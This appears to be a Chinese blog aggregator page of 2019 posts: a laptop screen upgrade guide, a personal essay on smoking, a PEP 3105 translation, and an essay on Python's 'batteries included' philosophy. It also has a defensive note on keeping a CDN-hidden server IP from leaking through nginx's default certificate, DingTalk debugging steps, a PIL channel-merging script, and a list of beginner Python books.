5、拆下光驱挡板备用,卖家送当挡板是薄片的,而原机是厚挡板,所以需要拆下这个挡板留用。将新买的机械硬盘装到硬盘支架上,然后将光驱上的固定支架拆下装到硬盘支架上。图中这个东西。

14.jpg

15.jpg

16.jpg

17.jpg


第三步,卡扣大法,拆装显示屏。

1、B面转轴位置,左右各一个胶垫,先扣下来,露出两个螺丝,拧下。然后将卖家送的插板从这个位置插入,稍微用点力,B面的卡扣就会脱落。记得使用四两拨千斤的巧劲,别用蛮力,卡扣断了别找我。围绕屏幕一圈,遇山修路,遇水架桥,遇卡扣用力。这样就拆下整个B面。放一边备用。

19.jpg

20.jpg

21.jpg


2、拆完B面可以看到这样的螺丝,主要集中在转轴这里,屏幕上部只有左右四颗好像。拆下这所有的螺丝,真个A面就脱离面板了,此面板孤零零的矗立在风中,独自摇曳。

22.jpg

23.jpg


3、拆掉面板侧面的螺丝,只有一点要注意,拆到最后两颗螺丝的时候当心,拿住屏幕,要不然duang一下就掉下来个措手不及。

24.jpg


4、拆掉面板上的低分线,先撤下黄色助沾胶,然后扯下屏线插口前端的透明拉力带,拔下整个屏幕线即可。

26.jpg


5、装上新买的屏幕到支架上,插上高分线。此刻主机端的高分线还无处可插,待会儿我们拆了C面就好办了。

27.jpg


第四步,暗螺丝大法,拆C面,换高分排线。

1、拆掉D面几乎所有的螺丝,除了胶垫中隐藏的还有两个隐藏的地方,一个是检修仓里面,一个光驱仓的顶部。检修仓就保护贴图了,光驱仓的螺丝在这里,共三颗。

29.jpg


2、拆完所有螺丝,将插板插入如图位置,又是一顿卡扣大法,遇山修路,遇水架桥,遇卡扣用力。围绕一圈,就可以取下整个C面。

30.jpg

31.jpg


3、拆掉原低分线,图中的位置,同样有拉力带,和面板上的拆装方法一致。主要是注意转轴处的走线方式和位置。

32.jpg


第五步,点亮测试大法,看显示情况。

1、装回必要的配件和插线,点亮下屏幕看看能否正常显示。只要能正常点亮就OK了。

33.jpg


2、按部就班的原路装回所有面板,按下卡扣,装上螺丝。最后大功告成。对了,如果开机显示花屏,别急,强制重启你的电脑。然后装系统吧。


第六步,完事了呀,没第六步了呀。

把多余的那个日立盘装到移动硬盘盒子里面也算一步的话,那就是这个了。完成。

34.jpg


by 西枫里 at June 16, 2019 03:50 PM

pythoncat

闲聊抽烟

算起来,我的烟龄有两年了,今天来闲聊一下。
其实,我很讨厌别人在我面前抽烟(现在依旧),一直都不喜欢烟味。那我是怎么开始的呢,为什么要学着抽烟呢?
一个原因是,每次参加完同事婚礼,带来的礼物里都有一包软中华,有段时间家里好像竟放着三包这样的烟,总觉得有些浪费。
还有一个原因是,我觉得“人不能无癖”,就是需要一点无伤大雅的小恶习吧。这方面的选择比如说喝酒、玩游戏和抽烟。喝酒于我来说,生不如死,如果不是酒桌礼仪的话,我根本不想碰。游戏的话,太容易沉迷,玩玩丢丢过好几回了。所以,抱着尝试的心态,就是抽烟了。
最后也有一个隐藏的原因,总是看到某些人物抽烟的故事,烟是这些创作者的灵感捕手,而一人一烟的画面在想象中很带美感,对我产生了吸引力。
虽然是这么开始了,但我极其克制。
最多一天只抽过 3 ~ 4 根烟,不过那是很短的一段时间,如今基本上每天只有 1 根烟的配额。所以,买一包烟,就能消磨很长的时间。
说实话,我极少感受到香烟本身带来的愉悦感,我可能还不“会”抽烟吧。烟进烟出,如此而已,抽到口感不适的烟品,还会产生晕眩感。烟雾在口腔和肺部,就是逛逛。
我反而比较享受的是抽烟的仪式,像是有时候享受拉一泡尿。
我不喜欢在别人边上抽烟,不喜欢吐出的烟被别人吸了去,如果别人在我边上抽烟,我会心生抵触。吸烟在我这里是一项个人的独享行为。
在家里的时候,我有这样的习惯:进到厨房里,关好门,打开窗(冬天不好开窗时就开抽油烟机),没有别人,然后抽烟。
有时候,豌豆会凑过来,我就支开她——我在抽烟呢,对你身体有害。豌豆曾抽过几口,她总说好香,有大麦茶的味道,可我品不出来。
“二手烟”有害别人的健康,这难道不是人尽皆知的么?所以,我才觉得抽烟应该在隔离区进行,这样的照顾是仪式的一部分,没有这层顾虑的话,抽烟的意义就降了品格。
所以,抽烟是讲场合的,不同场合的烟有不同的意义。
我可以这样要求自己,不适的场合就不抽。场合不适,时机就不适。
有了这样的仪式,就似乎创造了一个第二时空,在里面的时间是变慢的,对于释放压力效果奇佳——不怕你们笑话,很多时候我抽完烟就想要去上厕所,有促进排便的功效。
烟是个引子,是过程,不是目的。
就像这篇随笔也是个引子,不想说明什么,只想说说什么,不想传达什么,只想传出什么。
闲聊结束。

June 16, 2019 12:00 AM

[译] PEP-3105:改 print 为函数

PEP标题: Make print a function
PEP作者: Georg Brandl
创建日期: 2006-11-19
合入版本: 3.0
译者豌豆花下猫Python猫 公众号作者)

摘要

标题已说明了一切——本 PEP 提议使用新的内置函数 print() 来替代 print 语句,并建议给此新函数使用特殊的签名(signature )。

原理阐述

print 语句 早就被列在了不可靠的语言特性列表中,例如 Guido 的“Python 之悔”(Python Regrets)演讲【1】,并计划在 Python 3000 版本移除。因此,本 PEP 的目的并不新鲜,尽管它可能会在 Python 开发人员中引起较大争议。
以下对 print() 函数的争议是提取自 Guido 本人的 Python-3000 消息【2】:
  • print 是唯一的应用程序级功能,并拥有专属的语句。在 Python 的世界里,当某些任务在不通过编译器的帮助就无法完成的情况下,语法(syntax)通常会被用作最后的手段。在这种异常情况下,print 并不合适。
  • 在开发应用程序的时候,人们经常需要用更复杂的东西来代替 print 输出,例如调用 logging,或者调用其它的 I/O 库。至于 print() 函数,这是个直截了当的字符替换,如今它混搭了所有那些括号,还可能会转换 >>stream 样式的语法。
  • 为 print 设置特殊的语法只会给进化带来一个更加巨大的屏障,例如这有个猜想,一个新的 printf() 函数不用多久就会出现,跟 print() 函数共存。
  • 当需要一个不同的分隔符(不是空格,或者没有分隔符)时,没有简单的方法可以将 print 语句转换成另一个调用。同样地,使用其它一些分隔符而非空格时,根本无法方便地打印对象。
  • 如果 print() 是个函数,就可以非常容易地在一个模块内替换它(仅需 def print(*args):…),甚至可以在整个程序内替换(例如放一个不同的方法进 __builtin__.print)。实际上,要做到这点,还可以写一个带 write() 方法的类,然后定向给 sys.stdout ,这想法不错,但无疑是一个非常巨大的概念飞跃,而且跟 print 相比,它工作在不同的层级。

设计规格

print() 的书写方式取自各种邮件,最近发布在 python-3000 列表里的是【3】:
def print(*args, sep=' ', end='\n', file=None)
调用像:
print(a, b, c, file=sys.stderr)
相当于当前的:
print >>sys.stderr, a, b, c
可选的 sep 与 end 参数相应地指定了每个打印参数之间及之后的内容。
softspace 功能(当前在文件上的半秘密属性,用于告诉 print 是否要在第一个条目前插入空格)会被删除。因此,当前版本的以下写法不能被直接转换:
print "a",
print
它不会在“a”与换行符之间打印一个空格。
(译注:在 3.3 版本,print() 函数又做了改动,增加了默认参数 flush=False)

向后兼容性

本 PEP 中提出的改动将致使如今的 print 语句失效。只有那些恰好用括号包围了所有参数的写法才能在 Python 3 版本中生效,至于其它,只有加上了括号的值才能保持原样打印。例如,在 2.x 中:
>>> print ("Hello")
Hello
>>> print ("Hello", "world")
('Hello', 'world')
而在 3.0 中:
>>> print ("Hello")
Hello
>>> print ("Hello", "world")
Hello world
幸运的是,因为 print 是 Python 2 中的一个语句,所以它可以被通过自动化工具而检测到,并可靠而精确地替换掉,因此应该没有重大的移植问题(如果有人来写这个工具的话)。

实现

更改将在 Python 3000 分支中实现(修订版从 53685 到 53704)。大多数在维库代码(legacy code)已经做转换了,但要抓出发行版本中的每个 print 语句,还需要持续不断地努力。

参考资料

[2]Python 3.0 替换 print(Guido van Rossum)
[3] py3k 中 print() 的参数(Guido van Rossum)

版权

本文档已经放置在公共领域。源文档:

June 16, 2019 12:00 AM

June 15, 2019

pythoncat

聊聊 Python 的内置电池

(一)
最近,我突然想到一个问题:相比其它语言,有哪些概念或习惯叫法是 Python 特有的?
在朋友圈提出这个问题后,我得到最多的回复是——Pythonic 。这个回复一点都不意外,名字中自带 Python 的,当然是特有的啦,与它相似的,还有 Pythonista
这两个词是啥意思呢?Python 圈内流传着一个说法“人生苦短,我用 Python”,人们相信存在着最佳的实践方式,采用这种方式是最美的、最高效的、最优雅的,也即是 Pythonic ,而这样做的人(或以此为追求的人)则自称是 Pythonista。这个称号是有别于 Pythoner 或者 Pythonist 的,简单地说就是,它更有追求、更有逼格。
除了以上两个,Python 还有众多独特的叫法,例如终生仁慈独裁者、装饰器、上下文管理器、推导式与生成式、鸭子类型、猴子补丁、魔术方法、GIL、内置电池,等等。它们有的并不是 Python 所原创或独有,但是却因为它才广为人知,它们在 Python 中是代表性的存在物。
(二)
这些内容都很有意思,本文唯独想聊聊它——内置电池
Batteries Included 这个叫法是 Python 特有的,它指的是 Python 拥有“内置电池”,也就是自带丰富多样的标准库,开箱即用,动力十足。
在《PEP 206 — Python Advanced Library》中,它提出了“内置电池的哲学”(Batteries Included Philosophy):拥有丰富而通用的标准库,无需用户单独下载就能立即使用。还说这使得 Python 领先于很多项目。
根据官方文档显示,Python 内置了 200 多个标准库,类型丰富多样,包括字符处理、数据类型、数值计算、文件处理、并发执行、网络通信、多媒体服务、图形界面、调试与开发、以及操作系统专有服务等等。
内置电池为 Python 提供了一种自给自足的能力(self-sufficient),在大多数情况下,用户不需要再去下载和安装单独的软件包,因此也免去一大堆的依赖问题的折磨。
(三)
某些编程语言中也有内置电池的概念,例如 Perl、Ruby、PHP等等,还有的语言会强调自己内置了强大的功能,例如 Erlang(一切皆进程)、Go(goroutine 机制)。
然而,这个叫法在 Python 中被叫得最响,也被推广到了技术生态中的其它项目里,几乎成了 Python 的专有名词。
在维基百科上搜索“Batteries Included”,该条目有 4 个解释,其中之一表明它是 Python 的 Motto ,这个词的意思是座右铭、格言、箴言,足见分量之重了吧。
(四)
内置电池做不到无所不包,因此需要所谓的第三方库,而 Python 也以三方库丰富而闻名。
PyPIPython Package Index 的简称,即 Python 库索引,是一个用来管理三方库的项目,根据网站显示,目前有 18 万个三方库,以及它们的 135 万个发行版本。
就是说,Python 也拥有强大的外置电池,所以其实它是 双驱动 的。
(五)
双驱动本来相安无事,互为表里,但是,内置电池却遭到了越来越多的指责。
在今年 5 月的官方 PyCon 大会上,演讲嘉宾 Amber Brown 做了专门的分享,主要话题就是吐槽这内置电池正在“漏电”(Leaking):
  • 应用程序需要的不仅仅是标准库
  • 质量差,功能落后,代码过时
  • 标准库模块排挤创新
她的想法是移除一些标准库,例如 asyncio 及大多数的新特性,迁移到 PyPI,拥抱社区。这样做的预期效果是:内置电池会变得轻量小型化、高质量,同时三方库的生态系统也能得到进化。
其他开发人员对这个话题也进行了讨论。
标准库的维护团队表示,迁移部分模块的工作已经在展开了,但这需要经过仔细的设计,另外,不容忽视的是,迁移库到 PyPI 也要求测试配置的工作量。
还有人提出反对意见,认为精简标准库可能会破坏下游代码,而且有的企业用户只信任标准库而排斥三方库,这无疑会增加用户的负担。
(六)
我们的很多电子设备都是由电池驱动的,虽然它们的形式与材质各种各样,但是不可避免会遇到老化的问题(某种手机甚至会爆炸)。
Python 的内置电池也不例外,可是,这个电池的修理或替换,却不像物理世界的电池那般容易。
官方在十几年前提出了 PEP-206 与 PEP-3108,那时核心开发者们就发现有些标准库容易被入侵、设计不佳、有更好的替代库,因此推荐了很多款第三方库,以作为标准库的替代选项。这些年来,很多废弃的库已退出舞台,但更多的新库也加了进来,革命尚未成功。
今年 5 月,在 PyCon 大会引发的讨论之后,有开发者发起了 PEP-594,提议将“坏死的电池”(dead batteries)移出标准库。
目前,该 PEP 仍处于草案(Draft)状态,但已基本成为社区共识。
PEP 中提议移除工作从 Python 3.8 开始,因为它的发布时间刚好在 Python 2.7 停止维护之前,可以平滑地承接大版本迁移的用户。然后,按照有序的清理计划,最终在 Python 3.10 版本完成所有废弃模块的移除。
也就是说,内置电池的“手术”加速了,未来几年里,这将成为一个常态。
(七)
内置电池的哲学助力了 Python 发展壮大,攻城略地,成为最主流的编程语言之一。
然而它面临的挑战是:功能齐备与轻量可维的矛盾、官方支撑与社区分治的选择,因此,必然会走到今天的局面。
正如任何大型项目都可能遇到内存泄漏与性能退化的问题一样,Python 这个项目也是。剔除坏死的组织,精兵简政,革故鼎新,跟上时代,这些是 Python 核心团队正在做的事。
从去年末以来,我持续关注着 Python 最高决策层的选举,而在上个月,我恰好翻译了一篇文章《GIL 已经被杀死了么?》介绍了 GIL 的移除计划。
这些事件都表明着一件事:Python 充满活力,大蟒蛇蜕皮后,将会迎来新生。
我们何其幸运,正好作为见证者。其它就不用多说了,重温一下这个伟大的口号吧——人生苦短,我用 Python。

June 15, 2019 12:00 AM

June 13, 2019

anji66

用CDN隐藏网站真实IP就万无一失了?一个蹊跷的网站正泄露你的站点IP

5月份的一个周日大清早,笛大佬QQ上问我的博客禁止IP直接访问是怎么配置的。当时就把我问懵逼了,他一个职业运维工程师竟然问我这个运维白痴,我都是用宝塔配的服务器。当时就回了他一句你知道我的IP?他说不知道,有个坑爹的网站能搜索到真实IP,就因为我的站没搜到所以才来问我,着实让我hin吃惊。所以详细请教了下大佬遇到的情况。

笛大佬的描述

有一个坑爹的网站https://censys.io/,时刻在全网扫描激活的IP地址,然后利用nginx一个“漏洞”来检查IP对应的域名,并做了对应关系。如果服务器是nginx的web服务,可以直接通过https://ip地址来访问,nginx会向浏览器发送默认的SSL证书,通过查看证书详情可以找到对应的域名。如果两厢匹配,那么你的站就被这个坑爹的censys.io给记录了,通过censys.io搜索域名或IP就能找到关联信息。

QQ图片20190613234615.jpg

使用宝塔面板的防范措施

首先你得配置一个默认站点。在宝塔网站菜单创建一个空网站,并将其设置为默认站点。配置假的SSL证书,利用站点管理工具中的SSL工具上传虚假的证书。虚假证书在文末有下载。


做好这些就可以了,如果你的站已经被收录进去了,怕是没救了,因为那货把更新的部分当做新记录又存了一份,也就是你做了措施以后,之前泄露的也在历史记录里面了。至于还有类似邮件泄露IP的问题,这里就按下不表了。

虚假SSL证书,点这里虚假证书.zip下载,最后如果实在不行就删库跑路吧,这毕竟是终极大招,哈哈哈哈!


by 西枫里 at June 13, 2019 03:14 PM

June 11, 2019

anji66

如何在电脑上做钉钉微应用的调试

事情得从前两天说起,公司一个内部应用在钉钉前端做了免登之后身份信息需要在自有的系统上对用户身份在后台二次鉴权。博主很少做微应用和小程序之类的开发,所以常规逻辑就用session去鉴权。再写入session后,钉钉上怎么都取不到session的值,用电脑端测试session一切正常。百思不得其解,百度了下,似乎有人也遇到过这个问题,不过没有答案,最后在钉钉开放平台中找到在线客服,问了下情况,被告知,钉钉不支持session,可以使用cookie或者钉钉前端缓存dd.setStorage。找到原因就简单了,快速处理好业务逻辑。


后来因这事发现不能直接做调试是件很尴尬的事,只好去翻钉钉的文档,好在钉钉开放了安卓版的调试包,按图索骥很容易完成微应用在电脑端的调试工作。


一、下载钉钉安卓调试包

其实调试包就是一个开发版的钉钉客户端,安装之前先要卸载手机上的正式版,开发版的版本号通常比正式版要低,无法覆盖安装。下载地址可以在钉钉开放平台,工具与资源栏目,小程序开发者工具中找到。或者点击这里下载。


二、打开微应用调试开关

打开手机上的钉钉开发版,我的——设置——通用——开发者选项——微应用调试。


三、打开手机的USB调试模式

安卓的USB调试模式各个品牌系统略有差异,自己找一下,比如我的小米就需要再设置里面找到我的设备,然后点击全部参数,然后多次点击MIUI版本,就会打开开发者选项。然后返回,在系统和设备的更多设置中找到开发者选项,在调试中打开USB调试开关。


四、使用DevTools工具

钉钉文档上有一个链接地址,是关于DevTools介绍的。由于是google的地址,所以需要“出国”访问你懂的。这是一篇中文文档入门,可以帮你了解和使用DevTools,非常友好。好了,我们通过chrome地址栏输入chrome://inspect打开DevTools工具页。如果你的手机已经通过USB连接电脑了,此刻这里应该出现你的手机标识。如下图。如果没有出现,请按前面这篇文档里面去排查问题。同样,因为后端会加载google的服务,所以调试的过程中,同样需要“出国”访问。

未标题-1.jpg

五、打开钉钉的微应用,进入调试

DevTools工具页面上已经可以看到你手机目前拉取的页面地址了,如下图,点击inspect即可拉出调试页面,如果出现404 Not Found。在当前页面按F12,在remote devices标签中点击你的设备名,如图点击这里出现的页面地址后,在新选项卡中打开页面再按F12,即可完成调试页面的输出。然后就可以在电脑上调试了。

未标题-2.jpg

未标题-3.jpg


by 西枫里 at June 11, 2019 04:48 PM

June 08, 2019

pythoncat

遇见一只黑猫,她说Python是个怪物

导读: Python猫是一只喵星来客,它爱地球的一切,特别爱优雅而无所不能的 Python。我是它的人类朋友豌豆花下猫,被授权润色与发表它的文章。如果你是第一次看到这个系列文章,那我强烈建议,请先看看它写的前几篇文章(链接见文末),相信你一定会爱上这只神秘的哲学 + 极客猫的。不多说啦,一起来享用今天的“思想盛宴”吧!
喵喵,读者朋友们好,我是来自喵星的客人,地球登记名为“Python猫”。今天终于能勉强抽出半日闲功夫,继续跟大家唠唠嗑啦。
上回说到哪来着?时间竟然过去三个多月了,记忆曲线滑下高坡,猫言猫语已记不太清楚了。
依稀记得是说了些“家国天下”的事,一个外来生物用一知半解的知识碎片,来曲意附和 Python 的几个空间领域,博君一笑。
今天依然是些猫言猫语,请看官们不要嫌弃。我近来倾诉欲茂盛,急需写写文字打发一下,所以现在就开始吧。
我正被一个问题困扰着:为什么她说程序员都是骗子?
这个问题要从我遇见一只黑猫的时刻说起。
那是一个星期三(记得清楚),我正在晚风凉凉的湖边散步,草丛中突然蹿出她来,一身纯黑的毛发,一双白玉般的眼睛,脚步像个侠客。
我当时想,她或许也跟我一样,想要找个能说说话的朋友,毕竟这是猫的习性不是么?
于是,就哼出了一支小曲,过去跟她搭讪。
我问她是从哪来的?她说是在湖的那一边。
我问她来湖的这边干嘛?她说就来看看。
我问她看到了什么?她说很多草,几只蛐蛐和青蛙,还有一只野猫。
她说起话来声音真是好听,我还从没听过那般悦耳的音线。
可是,为什么要说我是“野猫”呢,明明我才是住在附近的那只,而她是从湖的另一边过来的,要说野的话,应该住得远的她是野才对。
我想说她才是野猫,可是话刚说出口就后悔了,怕有冒犯,于是机智地改变了音调,最后说成:”你是一个 猫么?“
她说是啊,所有的猫不都是夜猫么?
我说我就不是啊。自从融入人类社会后,我学习了新的生活方式,现在更喜欢在白天活动。
她甩出一个鄙夷的小眼神(好可爱),说一看我的眼睛就知道啦——长得像那湖里的水泡泡,黯淡无光。
潜台词是说我没有兽性,丢掉了自己的本色吧?
我着急地解释(辩解),说我的眼睛是“最蓝的晴天投照在最蓝的大海上的那抹蓝”、“光华赛过喜马拉雅矿山里最亮的宝石“、”气质与内涵在这个星球上无猫可敌”……
胡乱吹嘘,越说越不要脸,最后有点词穷。
她露出似笑非笑的表情,沉默着,优雅地理了理灵巧的尾毛,一副见过世面不为所动的样子。
我萎了一下,但还是不服气。
“我叫 Python猫,敢问姑娘的芳名是?”先试探一下她的来历。
“Python?!”
她突然正脸凝视着我,迟疑地往后缩了一下身子,踏出一个警惕的招式。
我先是一愣,然后立刻了然。嘿嘿,谅你不被我的盛世美颜迷惑,也不被我的巧舌如簧打动,可终究还是有所不知哒(毕竟 Python 是由人类中极优秀的程序员群体所打造的工具),而且终究还是有所畏惧的吧。
我当时想着,她大概是知道 Python 的本意是蟒蛇 ,所以才会本能地防备起来,真是一只敏捷的猎手喵,要是打起架的话,我可能不是她的对手,不能招惹她,要是不小心被利爪刮一下,肯定就破相了……
可是,做做样子吓吓她应该没事吧,她花容失色的时候是什么样子的呢……
我正打着坏念头,舔了舔舌头,马上就要演出一副巨蟒飞扑的面貌。
“你是说 Python,派森?”
“是啊,怕了吗?” 我趁势造出蟒蛇吐信的“嘶嘶”声(舞了一下爪,但好像不对物,就收了下来)。
“你是它的信徒吗?” 她更加警觉了。
信徒?不是啊,我是个无神论者,不信神不信鬼,不拜太阳不拜月亮,不拜龙也不拜蛇,才不是谁谁的信徒呢。
可是,这不好说破,好难得才博来的注目,当然要多留一会。
因此我不置对否的看着她,还礼给她一声沉默。
“我知道它。小时候在奶奶的百宝箱里找到了一本羊皮书,上面记载了很多远古的故事,其中就有这只怪物。”
百宝箱和羊皮书?这只怪物?小黑猫到底是看了啥哟?
“哦”,我装作漫不经意的样子,“你真的看过它的故事么?”
“Python 是大地之母盖娅所生的巨蟒,诞生在远古丛林的尸体堆里,它是黑暗的使者,腐烂的化身,制造人间混乱的怪物。”
“它是大地之母生的,可是样貌丑陋,没手没脚,就连神力也没有它的哥哥姐姐们那十二泰坦神厉害,因此怀恨在心,到处兴风作浪,涂炭生灵。”
“这样的破坏神,不是怪物是什么?”
喵喵了个大乖乖?这不是我认识的 Python,也不是我以为自己知道的蟒蛇啊!
听起来倒像是一个吓唬小孩的神话故事。
“喵,是它没错。” 我假意附和着。
“一个穿黑衣服的女神怀了众神之王宙斯的孩子,宙斯的妻子赫拉嫉妒得怒火爆炸,就派这条巨蟒去追杀那女神。”
“女神最后逃避到海中的一个荒岛,花了九天九夜,才生下了月亮女神阿尔忒弥斯和太阳神阿波罗。那只怪物差点害死了月亮女神呢。”
说到这的时候,她眼里亮出一丝柔和的光,脸腮上的须毛也微微地颤了一下。
我终于听到了熟悉的名字,原来她说的竟然是古希腊神话啊。
我承认自己是无知的(仅限于对还没听过的事物而言),但对古希腊神话也是有所耳闻的,不就是一群关系乱七八糟、为了七情六欲打打杀杀、装腔作势的所谓天神嘛。
只是我不知道还有这只巨蟒怪物罢了,Python 最早竟是它的名字啊?
“后来呢?”神话故事也不错,我继续试探她。
“后来等阿波罗长大了,就去找巨蟒复仇,经过一番大战,终于用弓箭把它射杀了。”
说完,她的眼神在一瞬间又变得非常锐利,看我的时候就像看一只死而复生的怪物。
我被她盯得有点怕了(她的眼神会杀猫),知道不可能再装了,也不想跟那只远古神话中的怪兽沾上关系。
于是,我就给她解释 Python 的现代含义,告诉她这是人类的一门编程语言,就是用来指挥计算机做事情的指令。
然后,还说 Python 可以做这个,可以做那个,一口气说了好多。我不确定她听懂了多少。
“那你是个程序员么?”她突然发问。
“不是啦,可我认识很多程序员,而且我……”
这时候,一阵冷飕飕的阴风吹来,草丛中吵吵闹闹的蛐蛐声和蛙鸣都突然闭了嘴。
她悠悠地扇了扇耳朵,直了直腰身。
“不是程序员就好,奶奶说程序员都是骗子”,她边说边转身,小跑两步,矫健地跃入草丛里。
她的黑色身影飕飕地穿过野草,像一阵看不见的风,仿佛就不曾在我眼前出现过一般。
可是夜风明确地传递来了她的最后一句话(依然是悦耳舒服的)——奶奶召我回家啦,再见了 Python 猫~~~
我想要追上她,可是一股寒意压迫,竟然就迈不出脚。
“喂,你还没有告诉我你的名字呢?”
我大喊着。
没有她的回声。
只有风呼呼草沙沙,湖水荡荡,夜色朦胧,我失魂落魄。
后来的很多天夜晚,我在湖边寻找她,可是都找不到。
湖的这边没有,湖的那边也没有,湖东没有,湖西也没有。
第一天没有,第二天没有,第好多天也没有。
我想找到她,问问她的名字,还有问问她,为什么要说程序员都是骗子啊?
我还想跟她说说话,告诉她我来自哪里,想要做些什么,好多话呢……
喵喵,不知不觉聊了这么久。时间刚刚好,太阳下山啦,我就不跟你们闲话了。
收拾收拾,打扮打扮,是时候该出门散步去啦。就此搁笔,后会有期哦~~~
(未完待续……)

June 08, 2019 12:00 AM

June 04, 2019

2heng

PIL 合并 RGB 通道图与 Alpha 通道图

广告:H5 复刻版明日方舟游戏主界面,源码:mashirozx/arknights-ui,求 STAR!!顺便求波好友 Mashiro#3731~

[github repo="mashirozx/arknights-ui"]

明日方舟拆包以后发现立绘被分成了两张图,一个储存的是 RGB 通道的信息,另一个储存的是 Alpha 通道的信息(实际还有一圈阴影效果),因此需要把两个通道合并,下面分别是两个通道的原图以及用后面的代码合并出来的立绘,点击图片可以看大图。

RGB 通道 Alpha 通道 合并结果
!{Sora - RGB Channel}(https://view.moezx.cc/images/2019/06/04/char_101_sora_2.png)[https://view.moezx.cc/images/2019/06/04/char_101_sora_2.th.png] !{Sora - Alpha Channel}(https://view.moezx.cc/images/2019/06/04/char_101_sora_2alpha.png)[https://view.moezx.cc/images/2019/06/04/char_101_sora_2alpha.th.png] !{Sora - Merged}(https://view.moezx.cc/images/2019/06/05/char_101_sora_1_result.png)[https://view.moezx.cc/images/2019/06/05/char_101_sora_2_result_tn.png]
!{Fmout - RGB Channel}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2.th.png] !{Fmout - Alpha Channel}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2alpha.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2alpha.th.png] !{Fmout - Merged}(https://view.moezx.cc/images/2019/06/05/char_109_fmout_2_result244665287f848479.png)[https://view.moezx.cc/images/2019/06/05/char_109_fmout_2_result_tn.png]
!{Nearl - RGB Channel}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b.th.png] !{Nearl - Alpha Channel}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2balpha.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2balpha.th.png] !{Nearl - Merged}(https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b_result47fb6960510a13ba.png)[https://view.moezx.cc/images/2019/06/05/char_148_nearl_2b_result_tn.png]

逆向出来的立绘素材都上传到这里(提取密码: U9HIc)了,感谢 @momo296859251 帮忙整理文件。

这是合并单张立绘的代码:

from PIL import Image

name = 'char_101_sora_2'

image = name+'.png'
mask = name+'[alpha].png'

img = Image.open(image)
mas = Image.open(mask)

pixdata_img = img.load()
pixdata_mas = mas.load()

for y in range(mas.size[1]):
    for x in range(mas.size[0]):
        pixdata_img[x, y] = (pixdata_img[x, y][0], pixdata_img[x, y][1], pixdata_img[x, y][2], pixdata_mas[x, y][2])

img.show()

The post PIL 合并 RGB 通道图与 Alpha 通道图 appeared first on 樱花庄的白猫.

by Mashiro at June 04, 2019 10:52 AM

May 26, 2019

pythoncat

Python猫荐书系列之七:Python入门书籍有哪些?

最近,猫哥的 Python 技术学习群里进来了几位比较特殊的同学:一位初三的以编程为兴趣的女生、一位在大学里刚开始执教 Python 的老师、一位四十多岁仍在编程一线的工程师。
自从写公众号以来,我就遇到了各色各样的人,比如,一位代替小学生儿子来加群的牙医父亲、一位多年自由职业每天炒股的前黑客、一位来咨询课程的自学编程的听障人士……
其实,这些人都是极少数的个例,读者里绝大部分应该都是在校学生、程序员或即将转行成为程序员的人,但是,这些身份特殊的少数人群却触动了我。
一方面,我看到了 Python 的强大吸引力,另一方面,我也看到了 Python 学习群体的多元化。
近些年,为什么各类培训机构会大行其道呢?也许正是因为这庞大而多元的学习人群,想要挤上通往 Python 引力中心的桥梁啊!
我以前总是有意无意地忽略了这些读者的存在。前几天,我接了极客时间的一个专栏推广,在跟一些读者的互动中,以及在一些现象的观察中,我加深了对这些非主流人群的认识。
意识到了这一点后,我想,或许我也能为他们做点什么?至少以后在写文章的时候,应该设法做到兼顾吧。
正好,最近又有几位不同身份的初学者来咨询,要我推荐几本入门书籍,而我们荐书系列已经停更了两个多月,所以,本期荐书就来推荐一些入门书籍吧。
为了准备这期荐书,我专门搜集了 40 本 Python 入门书籍,现在全部加入到了一份豆瓣豆列里,方便大家查看。
先给大家看看完整的书单吧。
《“笨办法”学Python》 https://book.douban.com/subject/26264642/
《python学习手册(原书第5版)》https://book.douban.com/subject/30364619/
《Head First Python(中文版)》https://book.douban.com/subject/10561367/
《Python基础教程(第3版)》https://book.douban.com/subject/27667375/
《Python编程无师自通》https://book.douban.com/subject/30419778/
《从Python开始学编程》https://book.douban.com/subject/26919485/
《Python编程之美:最佳实践指南》https://book.douban.com/subject/30314669/
《Python语言及其应用》 https://book.douban.com/subject/26675127/
《Python编程:从入门到实践》 https://book.douban.com/subject/26829016/
《像计算机科学家一样思考Python (第2版)》https://book.douban.com/subject/26870407/
《Python编程快速上手》 https://book.douban.com/subject/26836700/
《Python游戏编程快速上手》https://book.douban.com/subject/26868640/
《Python编程初学者指南》 https://book.douban.com/subject/26287445/
《Python语言程序设计基础(第2版)》https://book.douban.com/subject/27021033/
《Python语言程序设计》https://book.douban.com/subject/26643589/
《Python编程导论(第2版)》https://book.douban.com/subject/30155590/
《计算机编程导论—Python程序设计》https://book.douban.com/subject/25839870/
《Python带我起飞:入门、进阶、商业实战》https://book.douban.com/subject/30253254/
《Python趣味编程入门》https://book.douban.com/subject/30310729/
《从问题到程序-用Python学编程和计算》https://book.douban.com/subject/27076220/
《Python程序设计入门到实战》https://book.douban.com/subject/26958121/
《从零开始学Python网络爬虫》https://book.douban.com/subject/27180929/
《零基础学Python图文版》https://book.douban.com/subject/26607568/
《教孩子学编程(Python语言版)》https://book.douban.com/subject/26773320/
《父与子的编程之旅:与小卡特一起学Python》https://book.douban.com/subject/26005639/
《学习Python:做个有编程能力的设计师》https://book.douban.com/subject/26590884/
《零基础入门学习Python》https://book.douban.com/subject/26966433/
《零基础学编程:树莓派和Python》https://book.douban.com/subject/30262045/
《Python编程入门(第3版)》https://book.douban.com/subject/25773122/
《Python编程入门经典》https://book.douban.com/subject/6846632/
40 本书,这份书单应该是面向 Python 初学者的最全书单了吧。
我只翻阅过其中几本,其余的书都没看过,也不建议读者全部去读,之所以要搜集这么多,主要有如下考虑:读者面很广,而书种类不同,因此适宜多推荐。
有些书适合完全零基础、有些书适合有编程基础;有些书面向高校学生、有些书面向小学生;有些书系统全面兼顾进阶内容、有些书简明基础适合快速上手;大部分书籍是外文翻译,少部分是国内原创;有些书是经典常销,有些书是新鲜热门;有些书偏重理论,有些书偏重实战……
总之,总有一本适合你。
